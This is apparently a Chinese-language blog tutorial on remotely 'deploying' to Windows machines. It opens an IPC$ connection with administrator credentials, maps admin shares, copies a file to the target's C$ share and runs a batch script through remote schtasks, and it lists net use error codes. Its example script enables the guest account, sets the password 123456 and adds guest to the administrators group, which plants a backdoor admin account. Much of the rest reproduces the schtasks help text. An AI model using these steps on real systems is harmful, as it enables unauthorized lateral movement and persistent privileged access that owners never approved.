實現遠程部署登陸方法步驟:
建立失敗可能原因:
-
前置條件
-
首先保證目標的IPC服務啓動,服務爲lanmanWorkstation,顯示名爲Workstations(一般默認開啓狀態)
-
啓動lanmanworkstation服務
-
net start lanmanworkstation
-
關閉lanmanworkstation服務
-
net stop lanmanworkstation
-
-
啓動目標IPC共享
-
這些要在目標計算機下執行
-
net share ipc$
-
關閉
-
net share ipc$ /del
-
-
建立ipc$連接
-
net use \\IP\ipc$ "密碼" /user:"用戶名" (同樣有3個空格)
-
net use \\目標ip\ipc$ "pwd" /user:"administrator"
-
刪除一個ipc$連接
net use \\IP\ipc$ /del
-
-
映射遠程共享
-
net use z: \\IP\Disk$
-
net use z: \\222.222.221.102\d$
-
刪除共享映射
net use z: /del 刪除映射的c盤,其他盤類推
net use * /del 刪除全部,會有提示要求按y確認 -
查看遠程主機的共享資源(但看不到默認共享)
net view \\IP
-
-
copy自定義遠程bat腳本
- 向遠程主機複製文件
copy \路徑\srv.exe \\IP\共享目錄名如:
copy ccbirds.exe \\目標ip\c$\ccbirds.ext 即將當前目錄下的文件複製到對方c盤內 - 編寫bat文件此時以創建一個用戶bat爲例(將來賓用戶提權)
-
net user guest /active:yes
net user guest 123456
net localgroup administrators guest /add
-
- 向遠程主機複製文件
-
添加schtasks計劃任務
- 創建任務
-
SCHTASKS /Create [/S system [/U username [/P [password]]]] [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day] [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime][/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]
- 參數列表
描述:
允許管理員在本地或遠程系統上創建計劃任務。
參數列表:
/S system 指定要連接到的遠程系統。如果省略這個系統參數,默認是本地系統。
/U username 指定應在其中執行 SchTasks.exe 的用戶上下文。
/P [password] 指定給定用戶上下文的密碼。如果省略則提示輸入。
/RU username 指定任務在其下運行的“運行方式”用戶帳戶(用戶上下文)。
對於系統帳戶,有效值是 ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM"。
對於 v2 任務,"NT AUTHORITY\LOCALSERVICE"和
"NT AUTHORITY\NETWORKSERVICE"以及常見的 SID。對這三個也都可用。
/RP [password] 指定“運行方式”用戶的密碼。要提示輸入密碼,值必須是 "*" 或無。
系統帳戶會忽略該密碼。必須和 /RU 或 /XML 開關一起使用。
/RU/XML /SC schedule 指定計劃頻率。
有效計劃任務: MINUTE、 HOURLY、DAILY、WEEKLY、
MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
/MO modifier 改進計劃類型以允許更好地控制計劃重複
週期。有效值列於下面“修改者”部分中。
/D days 指定該周內運行任務的日期。有效值:
MON、TUE、WED、THU、FRI、SAT、SUN
和對 MONTHLY 計劃的 1 - 31
(某月中的日期)。通配符“*”指定所有日期。
/M months 指定一年內的某月。默認是該月的第一天。
有效值: JAN、FEB、MAR、APR、MAY、JUN、
JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符
“*” 指定所有的月。
/I idletime 指定運行一個已計劃的 ONIDLE 任務之前
要等待的空閒時間。
有效值範圍: 1 到 999 分鐘。
/TN taskname 指定唯一識別這個計劃任務的名稱。
/TR taskrun 指定在這個計劃時間運行的程序的路徑
和文件名。
例如: C:\windows\system32\calc.exe
/ST starttime 指定運行任務的開始時間。
時間格式爲 HH:mm (24 小時時間),例如 14:30 表示
2:30 PM。如果未指定 /ST,則默認值爲
當前時間。/SC ONCE 必需有此選項。
/RI interval 用分鐘指定重複間隔。這不適用於
計劃類型: MINUTE、HOURLY、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
有效範圍: 1 - 599940 分鐘。
如果已指定 /ET 或 /DU,則其默認值爲
10 分鐘。
/ET endtime 指定運行任務的結束時間。
時間格式爲 HH:mm (24 小時時間),例如,14:50 表示 2:50 PM。
這不適用於計劃類型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
/DU duration 指定運行任務的持續時間。
時間格式爲 HH:mm。這不適用於 /ET 和
計劃類型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
對於 /V1 任務,如果已指定 /RI,則持續時間默認值爲
1 小時。
/K 在結束時間或持續時間終止任務。
這不適用於計劃類型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
必須指定 /ET 或 /DU。
/SD startdate 指定運行任務的第一個日期。
格式爲 yyyy/mm/dd。默認值爲
當前日期。這不適用於計劃類型: ONCE、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
/ED enddate 指定此任務運行的最後一天的日期。
格式是 yyyy/mm/dd。這不適用於計劃類型:
ONCE、ONSTART、ONLOGON、ONIDLE。
/EC ChannelName 爲 OnEvent 觸發器指定事件通道。
/IT 僅有在 /RU 用戶當前已登錄且
作業正在運行時纔可以交互式運行任務。
此任務只有在用戶已登錄的情況下才運行。
/NP 不儲存任何密碼。任務以給定用戶的身份
非交互的方式運行。只有本地資源可用。
/Z 標記在最終運行完任務後刪除任務。
/XML xmlfile 從文件的指定任務 XML 中創建任務。
可以組合使用 /RU 和 /RP 開關,或者在任務 XML 已包含
主體時單獨使用 /RP。
/V1 創建 Vista 以前的平臺可以看見的任務。
不兼容 /XML。
/F 如果指定的任務已經存在,則強制創建
任務並抑制警告。
/RL level 爲作業設置運行級別。有效值爲
LIMITED 和 HIGHEST。默認值爲 LIMITED。
/DELAY delaytime 指定觸發觸發器後延遲任務運行的
等待時間。時間格式爲
mmmm:ss。此選項僅對計劃類型
ONSTART, ONLOGON, ONEVENT.
/? 顯示幫助消息。
- 必要參數幫助
描述
允許管理員創建、刪除、查詢、更改、運行和中止
本地或遠程系統上的計劃系統。替代 AT.exe。
參數列表
/Create 創建新計劃任務。
/Delete 刪除計劃任務。
/Query 顯示所有計劃任務。
/Change 更改計劃任務屬性。
/Run 立即運行計劃任務。
/End 中止當前正在運行的計劃任務。
/? 顯示幫助/用法。
示例
SCHTASKS
SCHTASKS /?
SCHTASKS /Run /?
SCHTASKS /End /?
SCHTASKS /Create /?
SCHTASKS /Delete /?
SCHTASKS /Query /?
SCHTASKS /Change /?
- 示例
- 創建任務
schtasks /create /tn "usertest" /s 目標ip /u Administrator /p 密碼 /sc ONCE /st 16:30:00 /tr "C:a.bat"
- 運行任務
-
schtasks /run /tn usertest /s 目標 /u Administrator /p 密碼
- 查詢任務
schtasks /query /fo TABLE
schtasks /query /fo TABLE /tn restart
schtasks /query /fo LIST
schtasks /query /fo LIST /tn restart
遠程查詢加入 /s參數
- 刪除任務
schtasks /delete /s 目標ip /u Administrator /p npwd /tn usertest
- 創建任務實例
-
計劃任務每 20 分鐘運行一次。 下面的命令計劃安全腳本 Sec.vbs 每 20 分鐘運行一次。由於命令沒有包含起始日期或時間,任務在命令完成 20 分鐘後啓動,此後每當系統運行它就每 20 分鐘運行一次。請注意,安全腳本源文件位於遠程計算機上,但任務在本地計算機上計劃並執行。 schtasks /create /sc minute /mo 20 /tn "Security scrīpt" /tr \\central\data\scrīpts\sec.vbs 範例 計劃命令在每小時過五分的時候運行。 下面的命令將計劃 MyApp 程序從午夜過後五分鐘起每小時運行一次。因爲忽略了/mo參數,命令使用了小時計劃的默認值,即每 (1) 小時。如果該命令在 12:05 A.M 之後生成,程序將在第二天才會運行。 schtasks /create /sc hourly /st 00:05:00 /tn "My App" /tr c:\apps\myapp.exe 計劃命令每五小時運行一次 下面的命令計劃 MyApp 程序從 2001 年 3 月的第一天起每五小時運行一次。它使用/mo參數來指定間隔時間,使用/sd參數來指定起始日期。由於命令沒有指定起始時間,當前時間被用作起始時間。 schtasks /create /sc hourly /mo 5 /sd 03/01/2001 /tn "My App" /tr c:\apps\myapp.exe schtasks create daily 範例 計劃任務每天運行一次 下面的範例計劃 MyApp 程序在每天的 8:00 A.M. 運行一次,直到 2001 年 12 月 31 日結束。由於它忽略了/mo參數,所以使用默認間隔 1 來每天運行命令。 schtasks /create /tn "My App" /tr c:\apps\myapp.exe /sc daily /st 08:00:00 /ed 12/31/2001 計劃任務每隔一天運行一次 範例 計劃任務每六週運行一次 下面的命令計劃 MyApp 程序在遠程計算機上每六週運行一次。該命令使用/mo參數來指定間隔。它也使用/s參數來指定遠程計算機,使用/ru參數來計劃任務以用戶的 Administrator 帳戶權限運行。因爲忽略了/rp參數,SchTasks.exe 會提示用戶輸入 Administrator 帳戶密碼。 另外,因爲命令是遠程運行的,所以命令中所有的路徑,包括到 MyApp.exe 的路徑,都是指向遠程計算機上的路徑。 schtasks /create /tn "My App" /tr c:\apps\myapp.exe /sc weekly /mo 6 /s Server16 /ru Admin01 計劃任務每隔一週在週五運行
netuser 建立連接可能出現的錯誤:
-
1)你的系統不是NT或以上操作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啓139或445端口(惑被防火牆屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員權限的,先提升權限;
錯誤號51,Windows 無法找到網絡路徑 : 網絡有問題;
錯誤號53,找不到網絡路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啓動;目標有防火牆(端口過濾);錯誤號67,找不到網絡名 : 你的lanmanworkstation服務未啓動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集衝突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;
錯誤號1327,用戶賬戶限制阻止了此用戶進行登錄;錯誤號1792,試圖登錄,但是網絡登錄服務沒有啓動 : 目標NetLogon服務未啓動。(連接域控會出現此情況)
錯誤號2242,此用戶的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。 -
友情鏈接
-
https://blog.csdn.net/baidu_27474941/article/details/78495974 net user (使用)
-
https://www.cnblogs.com/ruofengzhishang/p/3859773.html 計劃任務命令詳解